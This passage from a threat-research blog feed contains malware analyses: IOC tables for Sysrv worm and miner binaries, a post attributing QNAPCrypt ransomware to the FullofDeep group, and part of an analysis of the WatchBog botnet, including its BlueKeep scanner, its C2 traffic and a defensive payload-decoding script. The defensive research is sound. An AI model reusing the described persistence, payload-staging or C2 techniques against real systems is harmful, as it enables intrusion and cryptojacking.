&lt;td&gt;64bit ELF binary&lt;/td&gt;
&lt;td&gt;UPX packed – 301a0a58dd98ecbbe12c6acbd0c7bbdc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv&lt;/td&gt;
&lt;td&gt;64bit ELF binary&lt;/td&gt;
&lt;td&gt;Unpacked – f5859e81ff49dd66e501ec7c0f39c83e&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Miner&lt;/td&gt;
&lt;td&gt;xmr32&lt;/td&gt;
&lt;td&gt;32bit ELF binary&lt;/td&gt;
&lt;td&gt;9c2aa65235a939b2811f281a45ecdab0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Miner&lt;/td&gt;
&lt;td&gt;xmr64&lt;/td&gt;
&lt;td&gt;64bit ELF binary&lt;/td&gt;
&lt;td&gt;078b2a96f45b493e82b44f8c5344e7e5&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;Windows&lt;span class="hx:absolute hx:-mt-20" id="windows"&gt;&lt;/span&gt;
&lt;a href="#windows" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;File name&lt;/th&gt;
&lt;th&gt;File type&lt;/th&gt;
&lt;th&gt;MD5&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Dropper script&lt;/td&gt;
&lt;td&gt;ldr.ps1&lt;/td&gt;
&lt;td&gt;PowerShell script&lt;/td&gt;
&lt;td&gt;d708a5394e9448ab38201264df423c0a&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv.exe&lt;/td&gt;
&lt;td&gt;32bit PE binary&lt;/td&gt;
&lt;td&gt;UPX packed – 030231d96234f06ae09ca18d621241e5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv.exe&lt;/td&gt;
&lt;td&gt;32bit PE binary&lt;/td&gt;
&lt;td&gt;Unpacked – 14f57bd246cc1db3131cab421fbc8dac&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv.exe&lt;/td&gt;
&lt;td&gt;32bit PE binary&lt;/td&gt;
&lt;td&gt;UPX packed – 642d73c85e6e79720a5ae7b82fc427c5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worm&lt;/td&gt;
&lt;td&gt;sysrv.exe&lt;/td&gt;
&lt;td&gt;32bit PE binary&lt;/td&gt;
&lt;td&gt;Unpacked – b1a4ec25e168156aeee8184b05777b1b&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Miner&lt;/td&gt;
&lt;td&gt;xmr32.exe&lt;/td&gt;
&lt;td&gt;32bit PE binary&lt;/td&gt;
&lt;td&gt;97d89d25e9589f995d374cb7d89b4433&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Miner&lt;/td&gt;
&lt;td&gt;xmr64.exe&lt;/td&gt;
&lt;td&gt;64bit PE binary&lt;/td&gt;
&lt;td&gt;569fcf95f3889cefd87c1b425fa37b03&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;JSP&lt;span class="hx:absolute hx:-mt-20" id="jsp"&gt;&lt;/span&gt;
&lt;a href="#jsp" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;File name&lt;/th&gt;
&lt;th&gt;File type&lt;/th&gt;
&lt;th&gt;MD5&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;1.jsp&lt;/td&gt;
&lt;td&gt;Java Server Page&lt;/td&gt;
&lt;td&gt;644f20b5a6e03aa054ba62d32f983adc&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>Russian Cybercrime Group FullofDeep Behind QNAPCrypt Ransomware Campaigns</title><link>https://research.intezer.com/blog/2019/09/russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/</link><pubDate>Fri, 20 Sep 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/09/russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/</guid><description>
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We previously reported on how we managed to
&lt;a href="../../../2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/"&gt;temporarily shut down&lt;/a&gt;
15 operative &lt;strong&gt;QNAPCrypt ransomware campaigns&lt;/strong&gt; targeting Linux-based file
storage systems (NAS servers). We have now identified a new QNAPCrypt sample
which is being used by the same threat actor group. The authors behind this new
ransomware instance have revealed enough evidence for us to conclude the
establishment of &lt;strong&gt;FullofDeep&lt;/strong&gt;, a Russian cybercrime group operating from the
Union State and the Ukraine. The group is mainly focused on ransomware
campaigns.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Initially, we received a hit from an older YARA signature, which was created to
hunt for
&lt;a href="../../../2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/"&gt;QNAPCrypt&lt;/a&gt;
instances. Although the new ransomware variant does not share large portions of
code with the original QNAPCrypt campaigns, the naming convention used in the
new ransomware&amp;rsquo;s functions has been observed in previous QNAPCrypt instances:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/09/russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;In addition, the new variant utilizes geolocation information in order to
determine whether or not the malware will operate:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/09/russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The threat actors behind the new ransomware have filtered Belarusia(BY),
Russia(RU), and Ukraine(UA), in order to impede operation if the ransomware is
executed from one of these countries. This is similar to the QNAPCrypt implant
&lt;a href="https://www.anomali.com/blog/the-ech0raix-ransomware"target="_blank" rel="noopener"&gt;Anomali previously reported on&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/09/russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The overall functionality of the ransomware remains similar to QNAPCrypt. The
main configuration of the ransomware is static and hard-coded within the
binary, much like the latest version of QNAPCrypt.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/09/russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;As is similar to the original QNAPCrypt samples, the algorithm the attackers
chose to encrypt the filesystem with is AES CFB. One noticeable difference is
the main ransom note doesn&amp;rsquo;t advertise a specific bitcoin wallet like it did in
the original QNAPCrypt samples. Instead, the attackers demand to be contacted
via a protonmail email account:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/09/russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The email address provided is &amp;ldquo;fullofdeep&amp;rdquo;, and the ransom note annotates
&amp;lsquo;CONTACT US&amp;rsquo;. These strings draw us to the conclusion that this is a Russian
cybercrime group referred to as FullOfDeep, and that the group is deploying
different ransomware campaigns. Based on the samples&amp;rsquo; overlaps, including both
ransomware were written in Go, and in addition to similarities in the implant
function naming convention and the geolocation filtering applied, we can assess
with high confidence that this new ransomware sample is operated by the same
authors behind the original QNAPCrypt campaigns.&lt;/p&gt;
&lt;h2&gt;Summary&lt;span class="hx:absolute hx:-mt-20" id="summary"&gt;&lt;/span&gt;
&lt;a href="#summary" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In July, we identified and temporarily seized 15 active QNAPCrypt ransomware
campaigns targeting Linux-based file storage systems (NAS servers). This
discovery was significant in that it&amp;rsquo;s rare to see ransomware being used to
target the Linux-operating system.&lt;/p&gt;
&lt;p&gt;While we prevented the malware from infecting additional victims, we have since
hunted for and detected a new ransomware that shares many similarities with the
previous QNAPCrypt samples. We can assess with high confidence that FullofDeep,
a new Russian cybercrime group specializing in ransomware operations, is behind
both the original QNAPCrypt campaigns and the newly identified ransomware
instance.&lt;/p&gt;
&lt;p&gt;In addition, both the original and new QNAPCrypt samples are indexed in Intezer
Analyze&amp;rsquo;s code genome database. If you have a suspicious file that you suspect
to be QNAPCrypt, you can upload it to the free
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/"target="_blank" rel="noopener"&gt;Intezer Analyze community edition&lt;/a&gt; in order to
view the verdict, code and string reuse, and more.&lt;/p&gt;
&lt;p&gt;Please refer to the &lt;strong&gt;mitigation recommendations&lt;/strong&gt; section in our blog post
titled,
&lt;a href="https://intezer.com/blog-why-we-should-be-paying-more-attention-to-linux-threats/?utm_campaign=research-blog&amp;amp;utm_content=russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Why we Should be Paying More Attention to Linux Threats&lt;/a&gt;,
for best practices Linux users can adopt in order to mitigate the threats posed
by QNAPCrypt and other Linux-based threats.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;50470f94e7d65b50bf00d7416a9634d9e4141c5109a78f5769e4204906ab5f0b
fullofdeep@protonmail.com&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Watching the WatchBog: New BlueKeep Scanner and Linux Exploits</title><link>https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/</link><pubDate>Wed, 24 Jul 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/</guid><description>
&lt;ul&gt;
&lt;li&gt;We have discovered a new version of &lt;strong&gt;WatchBog&lt;/strong&gt;—a cryptocurrency-mining
botnet operational since late 2018—that we suspect has compromised more than
4,500 Linux machines in newer campaigns taking place since early June.&lt;/li&gt;
&lt;li&gt;Among the new Linux exploits, this version of WatchBog implements a BlueKeep
RDP protocol
&lt;a href="../../../2019/05/hiddenwasp-malware-targeting-linux-systems/"&gt;vulnerability scanner&lt;/a&gt;
module, which suggests that WatchBog is preparing a list of vulnerable
systems to target in the future or to sell to third party vendors for profit.&lt;/li&gt;
&lt;li&gt;The malware is currently undetected by all security vendors.&lt;/li&gt;
&lt;li&gt;In this blog post we provide prevention and response recommendations for
Windows and Linux users, in addition to a YARA signature for detecting this
and future threats that share the same malicious code.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Intro to WatchBog Cryptomining Malware&lt;span class="hx:absolute hx:-mt-20" id="intro-to-watchbog-cryptomining-malware"&gt;&lt;/span&gt;
&lt;a href="#intro-to-watchbog-cryptomining-malware" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;WatchBog is a cryptocurrency-mining botnet that was spotted as early as
November 2018. The group is known to be exploiting known vulnerabilities to
compromise Linux servers. The group was
&lt;a href="https://www.alibabacloud.com/blog/return-of-watchbog-exploiting-jenkins-cve-2018-1000861_594798"target="_blank" rel="noopener"&gt;documented&lt;/a&gt;
in the past by the Alibaba Cloud Security department.&lt;/p&gt;
&lt;p&gt;Since the last publication regarding this group, it has upgraded its implants
by implementing a new spreading module in order to improve the coverage of
vulnerable servers. We have detected a new version of WatchBog, which
incorporates recently published exploits—among them being Jira&amp;rsquo;s
CVE-2019-11581 (added 12 days after the release of the exploit), Exim&amp;rsquo;s
CVE-2019-10149, and Solr&amp;rsquo;s CVE-2019-0192.&lt;/p&gt;
&lt;p&gt;We also found that this spreader module incorporated a BlueKeep scanner.&lt;/p&gt;
&lt;p&gt;BlueKeep, also known as
&lt;a href="https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures_%28identifier%29"target="_blank" rel="noopener"&gt;CVE&lt;/a&gt;-&lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-0708"target="_blank" rel="noopener"&gt;2019-0708&lt;/a&gt;,
is a Windows-based kernel vulnerability, which allows an attacker to gain RCE
over a vulnerable system. The vulnerability is present in unpatched Windows
versions ranging from Windows 2000 to Windows Server 2008 and Windows 7. There
is no known public PoC available for achieving RCE with this vulnerability, and
no attack has been spotted in the wild yet. The incorporation of this scanner
module suggests that WatchBog is preparing a list of vulnerable systems for
future developments with regards to BlueKeep.&lt;/p&gt;
&lt;p&gt;The Jira, Solr and BlueKeep scanner modules were all added in the time frame of
13 days. WatchBog seems to be accelerating the incorporation of new
functionalities as of late.&lt;/p&gt;
&lt;p&gt;The spreader binary is currently undetected by security vendors:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="https://www.virustotal.com/gui/file/b17829d758e8689143456240ebd79b420f963722707246f5dc9b085a411f7b5e/detection"target="_blank" rel="noopener"&gt;VirusTotal&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;After uploading this file to Intezer Analyze we can immediately see that it
shares code with WatchBog, before even beginning to reverse engineer the file:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/files/b17829d758e8689143456240ebd79b420f963722707246f5dc9b085a411f7b5e"target="_blank" rel="noopener"&gt;Intezer Analyze analysis&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;While investigating this new spreader module, we discovered a flaw with its
design that allowed us to stage a &amp;lsquo;man-in-the-middle&amp;rsquo; attack, to help us
analyze the binary. We provide an analysis of this module in the technical
analysis below.&lt;/p&gt;
&lt;h2&gt;Technical Analysis of WatchBog&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis-of-watchbog"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis-of-watchbog" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The WatchBog threat actor group runs an initial deployment script when
infecting a target. This script sets up persistence via crontab and downloads
further Monero miner modules from Pastebin, as has been previously documented
by Alibaba Cloud.&lt;/p&gt;
&lt;p&gt;The interesting addition to this script is the following part in the end of the
script:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;As per the WatchBog&amp;rsquo;s script&amp;rsquo;s typical way of operating, the script downloads
another base64-encoded payload from &lt;em&gt;Pastebin&lt;/em&gt;, which further downloads another
module and then executes it:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;However, this is not another miner module. Rather, it is the new spreader
module.&lt;/p&gt;
&lt;p&gt;From a quick view this is a plain dynamically linked ELF executable. However,
once we started analyzing the executable, we were surprised to see that this
was actually a Cython-compiled executable requiring us to expand our analysis
efforts.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig5.png" title="Cython-compiled binary" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Cython-compiled binary&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;As stated by
&lt;a href="https://medium.com/@xpl/protecting-python-sources-using-cython-dcd940bb188e"target="_blank" rel="noopener"&gt;this Medium article&lt;/a&gt;
about Cython:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Meet &lt;strong&gt;&lt;a href="http://cython.org/?source=post_page---------------------------"target="_blank" rel="noopener"&gt;Cython&lt;/a&gt;&lt;/strong&gt;,
an &lt;strong&gt;optimizing static compiler&lt;/strong&gt; that takes your .py modules and translates
them to high-performant C files. Resulting C files can be compiled into
native binary libraries with no effort. When the compilation is done there&amp;rsquo;s
no way to reverse compiled libraries back to readable Python source code!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The compiled binary does, however, include some hints to the original Python
module:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;Initialization&lt;span class="hx:absolute hx:-mt-20" id="initialization"&gt;&lt;/span&gt;
&lt;a href="#initialization" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Initially, the binary creates a file at &lt;code&gt;/tmp/.gooobb&lt;/code&gt; in which it writes its
pid as a footprint of the malware execution. Consequent attempts to launch the
spreader will fail while this file exists.&lt;/p&gt;
&lt;p&gt;The binary then retrieves its C2 servers from Pastebin:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;An &lt;code&gt;.onion&lt;/code&gt; C2 server address is also hardcoded in the binary and is used as a
fallback.&lt;/p&gt;
&lt;p&gt;We can estimate the number of victims infected based on the number of visits to
the Pastebin links:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig9.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig10.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;As seen above, we suspect around 4,500 endpoints were infected with the use of
these specific Pastebin links. As WatchBog is known to have been active before
June 5—which is the upload date of these Pastebins—we believe additional
machines may have been infected with the use of older Pastebin links.&lt;/p&gt;
&lt;p&gt;The binary first attempts to connect to one of the available static C2 servers.&lt;/p&gt;
&lt;p&gt;We observed that the onion C2 server had an expired certificate.&lt;/p&gt;
&lt;p&gt;Normally, HTTPS clients check the validation of the SSL certificate that they
are interacting with. However, this was not the case with WatchBog&amp;rsquo;s implants.
This led us to assume that the WatchBog client did not verify the certificate
when using HTTPS, otherwise it would reject it and refuse to communicate with
the C2.&lt;/p&gt;
&lt;p&gt;This flaw allowed us to setup a transparent HTTPS proxy with our own
certificate and stage a &amp;lsquo;man-in-the-middle&amp;rsquo; attack to analyze WatchBog SSL/TLS
traffic:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig11.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The binary then generates a unique key for the infected victim and sends an
initial message to the C2 under this key. The following images include a sample
request and response payloads from the SSL/TLS decrypted traffic:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;These packets were encoded to obfuscate its content. During the analysis, we
were able to determine the encoding algorithm used. The following script
decodes the payload:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;final&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;arr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;stri&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;begin 666 n&lt;/span&gt;&lt;span class="si"&gt;{0}&lt;/span&gt;&lt;span class="s2"&gt;n nendn&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;uu&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;x00&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;hex&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;base64&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;final&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stri&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;final&lt;/span&gt;&lt;span class="p"&gt;[::&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The initial message contains the compromised system information:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig13.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This information will be merged and hashed to build the route of WatchBog&amp;rsquo;s API
hosted in its CNCs. The server replies with a &amp;ldquo;task&amp;rdquo; for the bot to perform on
a list of targets:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig14.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;BlueKeep Scanner&lt;span class="hx:absolute hx:-mt-20" id="bluekeep-scanner"&gt;&lt;/span&gt;
&lt;a href="#bluekeep-scanner" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;In this newer version of WatchBog it seems that the group has integrated an RDP
scanner in order to find vulnerable Windows machines to the
&lt;a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708"target="_blank" rel="noopener"&gt;BlueKeep&lt;/a&gt;
vulnerability. This scanner is a Python port from zerosum0x0&amp;rsquo;s scanner hosted
in &lt;a href="https://github.com/zerosum0x0/CVE-2019-0708"target="_blank" rel="noopener"&gt;Github&lt;/a&gt;. We can make this
assessment based on function name similarities:&lt;/p&gt;
